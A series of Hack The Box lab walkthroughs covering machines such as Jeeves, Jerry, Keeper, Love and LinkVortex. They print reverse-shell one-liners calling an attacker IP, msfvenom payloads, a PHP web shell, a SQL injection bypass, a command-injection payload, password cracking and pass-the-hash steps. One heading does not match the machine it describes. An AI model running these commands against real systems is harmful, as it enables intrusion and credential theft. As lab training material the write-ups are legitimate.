curl [http://10.10.14.17/nc.exe](http://10.10.14.17/nc.exe) -o \users\public\nc.exe - to download nc.exe from our python web server and save it to C:\Users\public directory
\users\public\nc.exe 10.10.14.17 443 -e cmd - to get netcat reverse shell on our kali machine on port 443, start nc listener before build project

but it shows the error while run the build

let’s use the smb server ti transfer the nc.exe

start smb server using,

impacket-smbserver test . -user admin -password admin -smb2support

add the above single command and see if it’s working or not. save and run build and see if we get any hit to our smbserver

Great so the net use command is working, let’s copy the nc.exe to \users\public\nc.exe

save and build the project

i’ll always check my permissions on the machine using whoami /priv command work similar as sudo -l

SeImpersonatePrivilege: great permission to get SYSTEM shell

i’ll use GodPotato transfer it to target machine using smb copy \\10.10.14.17\test\GodPotato-NET4.exe .

running tree /a /f command from C:\Users directory i found CEH.kdbx the keepass database file at kohsuke user’s Documents folder

let’s transfer the CEH.kdbx to our kali using smb

copy CEH.kdbx \\10.10.14.17\test\

to crack it’s master password we’ll use keepass2john and hashcat

keepass2john CEH.kdbx > keepass.hash

to crack hash with hashcat we need to modify the hash and remove file name CEH: hash should be starting from $keepass$

final hash looks like below

$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48

hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt

now let’s open the keepass db file using keepassxc

we found bunch of credentials let’s create a password list and spary password to administrator account

i created three files, user.txt, password.txt and ntlm

kali@kali:~/hackthebox/windows/jeeves$ cat password.txt                             
F7WhTrSFDKB6sxHU1cUn
pwndyouall!
lCEUnYPjNfIuPZSzOySA
S1TjAtJHKsugh9oC4VZl

kali@kali:~/hackthebox/windows/jeeves$ cat users.txt   
Administrator
bob
kohsuke

kali@kali:~/hackthebox/windows/jeeves$ cat ntlm     
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

then i used netexec to spary password to all accounts

netexec smb 10.10.10.63 -u users.txt -p password.txt

what about NTLM!

netexec smb 10.10.10.63 -u users.txt -H e0fb1fb85756c24235ff238cbe81fe00

-H option pass only LM hash e0fb1fb85756c24235ff238cbe81fe00

now as we have the valid credentials let’s psexec as administrator

in impacket-psexec we need to specify the full NTLM hash to -hashes option

impacket-psexec Administrator@10.10.10.63 -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Uhh! root.txt is not at the Administrator’s Desktop let’s use tree /a /f from C:\Users directory to see where the root.txt is located, also we can use dir /d/s root.txt to only search for root.txt file

also administrator desktop has file named hm.txt it says flag is elsewhere look deeper

it says the look deeper, what about alternate data streams

Alternate Data Streams (ADS) in Windows, a feature of the New Technology File System (NTFS), allow files to contain multiple streams of data beyond the primary file content. These additional streams can be used to store metadata, hidden information, or even entire files within the main file record.

To view alternate data streams (ADS) in Windows CMD, use the dir /r command. This command lists all files and directories in the current directory, including any ADS associated with them.

To view the contents of a specific ADS, use the more <file.txt:adsname> command

yes it’s inside the Alternate Data Steam, let’s read it using more < hm.txt:root.txt

Jerry

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Jerry
Difficulty: Easy
OS type: Windows

Port Scanning - Service & Version Enumeration

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat

Enumeration

Port 8080/HTTP

port 8080 is running apache Tomcat

let’s search for any known exploit for apache tomcat 7.0.88, no luck we didn’t find anything

let’s try to access Manager App section

let’s use the hydra to bruteforce the credentials for tomcat we used common username and password list from github https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown

hydra -L usernames.txt -P password.txt http-get://10.10.10.95:8080/manager/html

let’s try to use admin:admin first and then try tomcat:s3cret, tomcar secret worked!

let’s create a war reverse shell using msfvenom and then upload

msfvenom -p java/shell_reverse_tcp lhost=10.10.14.14 lport=8080 -f war -o pwn.war

after uploading file we can see it in the tomcat application manager

let’s start netcat listener on port 8080, and then execute the /pwn by clicking on it

bingo! we are SYSTEM user!

User.txt: 7004dbcef0f854e0fb401875f26ebd00

Root.txt: 04a8b36e1545a455393d067e772fe90e

Keeper

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Keeper
OS type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

	PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKHZRUyrg9VQfKeHHT6CZwCwu9YkJosNSLvDmPM9EC0iMgHj7URNWV3LjJ00gWvduIq7MfXOxzbfPAqvm2ahzTc=
|   256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBe5w35/5klFq1zo5vISwwbYSVy1Zzy+K9ZCt0px+goO
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

i’ll start my enumeration from port 80, by visiting site in the firefox

i’ll quickly add the tickets.keeper.htb in /etc/hosts file

and then i’ll visit the the tickets.keeper.htb and i found the login page

i’ll immediately search for the default credentials

i found the default credentials - root:password

let’s login to application

we are in.., enumerating the request tracker applicaiton after login, i found the users section and there was a user named lnorgaard when we click on the username we found password on it’s comment section

found the credentials inorgaard:Welcome2023!

what now! yes SSH to the machine as inorgaard

ssh **inorgaard@10.10.11.227**

Post-Enum

Sudo -l

i’ll always first check for sudo permissions using sudo -l

check for the SUID binaries

find / -type f -perm -4000 2>/dev/nul

the SMTP is running internally so it is worth to check the mail, /var/mail/lnorgaard

ticket id shows is 300000

visit the request tracker again and go to Search > Tickets > Simple search

enter the ID and click on search

reading the thread i found the useful information

it says that user saved the keepass crashdump in user’s home directory

i’ll start the python3 server on target machine using python3 -m http.server 8000

and use wget from kali to transfer RT30000.zip file to kali

unzip the file

i found the Dump of the keepass and the keepass database, after some searching on google i found that we can extract master password from the dump file

https://github.com/JorianWoltjer/keepass-dump-extractor

install tool using cargo install keepass-dump-extractor

create a hash of the database file that we can use to crack the hash

keepass2john keepass.kdbx > keepass.hash

crack the hash using hashcat after modifying the hash and remove the keepass word

use the master password → rødgrød med fløde

Bingo!! we found root password, but ssh not working

also i found the private key in the notes section, upon searching google i found that we can use this key with putty tool to connect with ssh save the file with .ppk extension run putty with putty

to add the private key for authentication go to Window > Connection > SSH > Auth > Credentials and browse for the file and upload the key file here

click on open

and got SSH as root!

Knife

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Knife
OS type: Linux
Difficulty: Easy

Learn:

Don’t overthink and over complicate the simple things as in this machine we don’t even need any port forwarding it’s only using proxy_pass thing so we can simple add the entry in /etc/hosts file

also i found password in config file but didn’t tried it svc user, note: try founded password on all users’s.

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

let’s start our enumeration from port 80 http, open webbrowser and visit the site.

it redirect us to the http://searcher.htb/ let’s add this into our /etc/hosts file

sudo nano /etc/hosts

10.10.11.208 searcher.htb

now let’s visit the site again

looking at the homepage, we found that this is the searchor project from github

https://github.com/ArjunSharda/Searchor

let’s search for any known vulnerability and exploit for searchor 2.4.0 and we found it it vulnerable to Arbitrary command injection https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection

',**import**('os').system('echo <base64 encoded command>|base64 -d|bash -i')) # junky comment this is the exploit code to inject into query parameter as shown in below screenshot

let’s check if the exploit is working correctly or not, let’s start http server on kali machine using python3 -m http.server 80

encode curl command into base64 that will send curl request to our http server

',**import**('os').system('echo Y3VybCBodHRwOi8vMTAuMTAuMTQuMTQvaGFja2VyCg== |base64 -d|bash -i')) # junky comment this is the final code, that we need to inject into query parameter and send request via burp, curl or from the web browser

Bingo!, server says ‘hacker’ 😉

it’s time for shell, let’s use the busybox nc 10.10.14.14 443 -e /bin/bash very easy method to get rev shell, as many linux doesn’t have netcat with -e compatibility so we’ll use busybox to get -e option

start reverse shell listener using rlwrap -r nc -nvlp 443 send payload

Bingo! fresh shell, you smell that!!

now it’s looks ugly right, let’s get proper tty shell, first we’ll check if python3 is available on the machine or it’s just python using which python3

nice we have python3, run python3 -c 'import pty;pty.spawn("/bin/bash");'

user.txt can be found at /home/svc/user.txt

PrivEsc

let’s start enumerating system for the possible privesc attack vector, we checked SUID, CornJobs, /etc/passwd file permissions, sudo permissions. NO LUCK!!

then we search for any locally running application or service we run ss -tunlp to list the open ports on the machine

we assume that the port 5000 is for the searcher app as mentioned python3 as user, port 3000 caught my attention, let’s curl and check what it is

application title : Gitea, let’s search on google what this gitea is, we found it is DevOps platform → https://about.gitea.com/

let’s first checkout the apache conf file to see where does it points to.

we can see that it is not running internally we can access it from the port 80 as well we just need to use the the gitea.sercher.htb hostname to access it hahaha, let’s add this hostname into /etc/hosts file

let’s open http://gitea.searcher.htb into browser

further enumeration revelas credentials for the Gitea in /var/www/app/.git/config

let’s login to website using this credentials

let’s check for password reuse, what if we use same password for the svc to sudo -l as well

Whoop!, let’s check the permissions for this file

no write permissions, hmm we can see that! but in sudo command there’s * means we need to pass some agrs after script maybe

let’s just try docker-ps

sudo python3 /opt/scripts/system-checkup.py docker-ps

https://docs.docker.com/reference/cli/docker/inspect/ so it clears that docker-inspect is the docker cli command

let’s check the mysql container

sudo python3 /opt/scripts/system-checkup.py docker-inspect {{json .Config}}

for proper formatting, let’s just use jq command

We found mysql credentials. let’s login to mysql, before login into mysql let’s first try login as administrator with cody’s password, NO SUCCESS what about DB paassword yuiu1hoiu4i5ho1uh

Bingo!!, we do have access as administrator now, let’s check the system-checkup.py script as it can be run by our user as sudo

https://app.notion.com

we found that if we pass argument full-checkup it will run ./full-checkup.sh however it doesn’t specified full path here so it will try to run from the current working directory from we ran the command

https://app.notion.com

let’s create a full-checkup.sh in /dev/shm or /tmp or /home/svc, means directory should be writable by our user

make it executable via chmod +x [full-checkup.sh](http://full-checkup.sh) command

https://app.notion.com

Love

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Love
OS Type: Windows
Difficulty: Easy

# Nmap 7.95 scan initiated Tue May  6 20:59:23 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.239
Nmap scan report for 10.10.10.239
Host is up, received echo-reply ttl 127 (0.35s latency).
Scanned at 2025-05-06 20:59:24 IST for 387s
Not shown: 65044 closed tcp ports (reset), 472 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in/localityName=norway/emailAddress=roy@love.htb/organizationalUnitName=love.htb
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in/localityName=norway/emailAddress=roy@love.htb/organizationalUnitName=love.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after:  2022-01-18T14:00:16
| MD5:   bff0:1add:5048:afc8:b3cf:7140:6e68:5ff6
| SHA-1: 83ed:29c4:70f6:4036:a6f4:2d4d:4cf6:18a2:e9e4:96c2
| -----BEGIN CERTIFICATE-----
| MIIDozCCAosCFFhDHcnclWJmeuqOK/LQv3XDNEu4MA0GCSqGSIb3DQEBCwUAMIGN
| MQswCQYDVQQGEwJpbjEKMAgGA1UECAwBbTEPMA0GA1UEBwwGbm9yd2F5MRYwFAYD
| VQQKDA1WYWxlbnRpbmVDb3JwMREwDwYDVQQLDAhsb3ZlLmh0YjEZMBcGA1UEAwwQ
| c3RhZ2luZy5sb3ZlLmh0YjEbMBkGCSqGSIb3DQEJARYMcm95QGxvdmUuaHRiMB4X
| DTIxMDExODE0MDAxNloXDTIyMDExODE0MDAxNlowgY0xCzAJBgNVBAYTAmluMQow
| CAYDVQQIDAFtMQ8wDQYDVQQHDAZub3J3YXkxFjAUBgNVBAoMDVZhbGVudGluZUNv
| cnAxETAPBgNVBAsMCGxvdmUuaHRiMRkwFwYDVQQDDBBzdGFnaW5nLmxvdmUuaHRi
| MRswGQYJKoZIhvcNAQkBFgxyb3lAbG92ZS5odGIwggEiMA0GCSqGSIb3DQEBAQUA
| A4IBDwAwggEKAoIBAQDQlH1J/AwbEm2Hnh4Bizch08sUHlHg7vAMGEB14LPq9G20
| PL/6QmYxJOWBPjBWWywNYK3cPIFY8yUmYlLBiVI0piRfaSj7wTLW3GFSPhrpmfz0
| 0zJMKeyBOD0+1K9BxiUQNVyEnihsULZKLmZcF6LhOIhiONEL6mKKr2/mHLgfoR7U
| vM7OmmywdLRgLfXN2Cgpkv7ciEARU0phRq2p1s4W9Hn3XEU8iVqgfFXs/ZNyX3r8
| LtDiQUavwn2s+Hta0mslI0waTmyOsNrE4wgcdcF9kLK/9ttM1ugTJSQAQWbYo5LD
| 2bVw7JidPhX8mELviftIv5W1LguCb3uVb6ipfShxAgMBAAEwDQYJKoZIhvcNAQEL
| BQADggEBANB5x2U0QuQdc9niiW8XtGVqlUZOpmToxstBm4r0Djdqv/Z73I/qys0A
| y7crcy9dRO7M80Dnvj0ReGxoWN/95ZA4GSL8TUfIfXbonrCKFiXOOuS8jCzC9LWE
| nP4jUUlAOJv6uYDajoD3NfbhW8uBvopO+8nywbQdiffatKO35McSl7ukvIK+d7gz
| oool/rMp/fQ40A1nxVHeLPOexyB3YJIMAhm4NexfJ2TKxs10C+lJcuOxt7MhOk0h
| zSPL/pMbMouLTXnIsh4SdJEzEkNnuO69yQoN8XgjM7vHvZQIlzs1R5pk4WIgKHSZ
| 0drwvFE50xML9h2wrGh7L9/CSbhIhO8=
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql        syn-ack ttl 127 MariaDB 10.3.24 or later (unauthorized)
5000/tcp  open  http         syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp  open  unknown      syn-ack ttl 127
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http     syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2025-05-06T15:56:57+00:00; +21m09s from scanner time.
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Issuer: commonName=LOVE
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T14:39:19
| Not valid after:  2024-04-10T14:39:19
| MD5:   d35a:2ba6:8ef4:7568:f99d:d6f4:aaa2:03b5
| SHA-1: 84ef:d922:a70a:6d9d:82b8:5bb3:d04f:066b:12f8:6e73
| -----BEGIN CERTIFICATE-----
| MIIFBTCCAu2gAwIBAgIQQD+VWjjYeaVAiweoWrOJXjANBgkqhkiG9w0BAQsFADAP
| MQ0wCwYDVQQDDARMT1ZFMB4XDTIxMDQxMTE0MzkxOVoXDTI0MDQxMDE0MzkxOVow
| DzENMAsGA1UEAwwETE9WRTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
| APC54+VMM+g9yynvO9x5UWpskpl8oxYcplv/zck10LeamyoRMCoOb6+lPhokbydf
| 1cj/td1WjOoCkE22w8KBXt+GkBtYp1AuaiQuUWZbSU1TfKLgGTB+jqcn6L8oFdpm
| MMl1rdgW/dDLF4WRSgPd1bwSl1JrgM2ETbQNbuE+pPkUAOwQp9W2/YcSCPAc+a03
| bntUxAyVe/U4xm9GJYTliUGZCc4KY74ZhiIoE9N+qW9wH+THyTcKYFo6acCYK3OT
| NFxj2NVB34YSOaGwoJDfHOdt6q8hQSBk2MLcIlFMYpzyk6guxO6CYucufqPUhux8
| j8foDhPOQr4eg8L2WZq0mF2k0Owt+FPaFCQpq8Cuk3wxkrkHAlwzmxMjZUhO59Z7
| p7cSQt5JtDrSIghP9nePFkz1ARaUE4ifUfWb7ZhX5ZI2sWD7y5ilgK/+EJRUs8Qr
| aiNJQhr2W+Lu8Q8C821LrhQ8srRbV3APlj0jysYzTcerksSmA4L2NYEjdYuIkHNh
| VH7IUwAfyQCKhT9Z4l9TMmu0w84jvFV/e4PYrXe7W3jNquKI8+FvgAtj7crDkX6x
| ouN13d3Z12FsPFZB8S9cFhEnMUT0VcPqx4on6oD1+iD3dkPYi907kHjvHQqc43yZ
| vRSJBNy12LsX9bDyeew1jWBLqhdh0fApp+5LSKyEanENAgMBAAGjXTBbMA4GA1Ud
| DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAVBgNVHREEDjAMggRMT1ZF
| ggRMb3ZlMB0GA1UdDgQWBBQNJyWWYTVg7yDEB8RiCpGkBlLzcjANBgkqhkiG9w0B
| AQsFAAOCAgEAOtD1tPlQAsAozmZxFGc7PiMkJpZbpS31Hb32/aFwTxeN/7VEmTPM
| +FyIo+ZxgL+GD6SGWtpunCGs2Hms3lbSxnPNPbdcaG6whP12Ih/xGuQEbXVq6uY3
| fmCL/zIHthIjDPbgvtrC0xB/1kioMrDdGK1jp1F9q1cd+9P3cTPXgpekTzcFixGF
| BkQTM0ty8FjZnwTYwtAJ7RcxbzhIGi4YlJGIBOi98XvParnR2co2XhR+gBBPhppC
| 0zKscOXtQrOyWymrq1XSEdFhExznQREXkGsUX9Ogw8yTdREt9jdlijjtQGISBlwG
| 807Ru8m6HeO35dhUp3fS1ZOQ94Zlmls8Uw4F0slQ5v44rhhbOziy3fcb63zSvFJ1
| jzk5yEoxER7tMiWrxCniGSI7kIs0ACGEWHbsbjfQuGVvTe2S/yBmUbCSuZPS9r1X
| w3EPapovLDMmx8PBLMXDa75bBE+si/3xS4w8OIepTrk+oajAWPjHSFrt6QRRI9Mv
| L1UEoxV1K7amnTybXb66kpvucZz0pQYVuRypOYLlFuFMC2vj8M/64Hfb5OhFG+6p
| RtFRdYl9s/H+R+Y+fB4o9Tf5vMpYwOCrBfTEGvm4JLBRGXn6f0ODcGqwVYVWyPEo
| 4pv8jZSiNJsmm6gsQXR4fLIPGuNjwmxJmm51Itv0Lb+FQogRk/9I0AI=
|_-----END CERTIFICATE-----
7680/tcp  open  pando-pub?   syn-ack ttl 127
47001/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 46453/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 55564/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 21885/udp): CLEAN (Failed to receive data)
|   Check 4 (port 53034/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 2h06m09s, deviation: 3h30m01s, median: 21m08s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-05-06T15:56:42
|_  start_date: N/A
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-05-06T08:56:36-07:00

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May  6 21:05:51 2025 -- 1 IP address (1 host up) scanned in 387.53 seconds

Enumeration

Port 80/HTTP

port 80 is open on target machine let’s visit the application on web browser

upon searching for known exploit i found following vulnerabilities

https://www.exploit-db.com/exploits/49843
https://www.exploit-db.com/exploits/49445

let’s first try SQL injection to bypass authentication in exploit we found the /admin/login.php url

password = admin

username = dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;--

create a shell.php with following contents

<?php echo system($_GET['cmd']); ?>

go to Voters section and then add new voter

select shell.php in photo and select save

intercept request with burpsuite and then change content-type to image/png

forward the request and then go to http://10.10.10.239/images/shell.php?cmd=whoami to access the webshell

then execute the nc.exe to get shell

http://10.10.10.239/images/shell.php?cmd=\users\public\nc.exe%2010.10.14.17%20443%20-e%20cmd

checking permissions of the user

whoami /priv

membership of user

interesting directory in C: root folder

running winpeas we found AlwaysInstallElevated is set to true

we’ll create a malicious msi in using msfvenom and get the shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=445 -f msi > shell.msi

transfer the shell.msi to target machine, start the netcat listener and run the shell.msi

LinkVortex

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: LinkVortex
OS Type: Linux
Difficulty: Windows

Port Scanning - Service & Version Enumeration

Enumeration

Port 80/HTTP

let’s open website in web browser

we need to add linkvortex.htb to /etc/hosts as web server is expecting us to access it using hostname

echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts

and refresh the webapege

let’s check the tech stack using whatweb

whatweb http://linkvortex.htb

run the gobuster to find hidden directories

gobuster dir -u http://linkvortex.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -b 301,404

nothing much interesting the LICENCE file contains

Copyright (c) 2013-2022 Ghost Foundation

Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

the backend web server is Ghost, which confirmed by the whatweb as well

then i ran wfuzz, to find the subdomains

wfuzz -u http://linkvortex.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.linkvortex.htb" --hh 230

the --hh switch is used to filter the response like it’s exclude the 230CH response

so there’s dev subdomain founded by wfuzz, let’s add this to our /etc/hosts file

and visit, dev.linkvortex.htb

new domain, new site let’s run gobuster again i used quickhits.txt

gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -b 403,404

Nice the git repo is exposed, i’ll use git-dumper to dump the git repository from the website

git-dumper http://dev.linkvortex.htb/ linkvortex

after that i ran git status to find any interesting information

since we can see the authentication.test.js has been modified, let’s see what’s changed in that file

git diff HEAD ghost/core/test/regression/api/admin/authentication.test.js

now we need to login to Ghost CMS admin panel which can be found here → http://linkvortex.htb/ghost

and we got the admin panel, now as we have the password let’s try to login as admin we use simple guess admin@linkvortex.htb to login to the admin panel

after logining-in i found the version of Ghost CMS from Gear icon > About Ghost

searching for exploit i found - https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028

Ghost Arbitrary File Read Exploit (CVE-2023-40028)

This script exploits a vulnerability in Ghost CMS (CVE-2023-40028) to read arbitrary files from the server. By leveraging a symlink in an uploaded ZIP file, an attacker can gain unauthorized access to sensitive files on the system.

download the exploit and run it

bash exploit.sh -u admin@linkvortex.htb -p 'OctopiFociPilfer45' -h http://linkvortex.htb

we tried by reading /etc/passwd file

i tried dumping some SSH keys for the node user but no success, i remember that we got the full config path in docker file

let’s read the config file

reading the config file i found the credentials of bob user

let’s use this credentials to login as bob

ssh bob@10.10.11.47

sudo -l

reading the script

it seems the TOCTOU (time-of-check-time-of-use vulnerability)

in first terminal we’ll run below command

while true; do ln -sf /root/root.txt /var/quarantined/toctou.png; done

in second session we run below command

ln -s /home/bob/.bashrc /dev/shm/toctou.png

ls -l /dev/shm/toctou.png

and then run it, we’ll get the root.txt

CHECK_CONTENT=true sudo bash /opt/ghost/clean_symlink.sh /dev/shm/toctou.png

Magic

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Magic
Difficulty: Medium
OS Type: Linux

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
